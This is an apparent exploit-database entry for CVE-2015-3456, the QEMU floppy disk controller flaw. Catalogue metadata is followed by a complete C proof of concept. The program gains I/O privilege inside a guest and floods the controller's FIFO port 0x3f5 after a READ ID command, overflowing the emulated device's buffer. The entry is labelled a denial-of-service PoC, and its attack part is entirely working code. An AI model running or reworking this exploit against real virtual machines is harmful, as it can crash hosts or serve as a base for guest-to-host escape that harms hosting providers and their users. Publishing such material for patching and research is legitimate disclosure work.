QEMU - Floppy Disk Controller (FDC) (PoC)

Author: Marcus Meissner
type: dos
platform: multiple
port: 
date_added: 2015-05-21  
date_updated: 2015-05-21  
verified: 0  
codes: CVE-2015-3456;OSVDB-122072  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 37053.c  

// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2

#include <sys/io.h>

#define FIFO 0x3f5

int main() {
        int i;
        iopl(3);

        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
}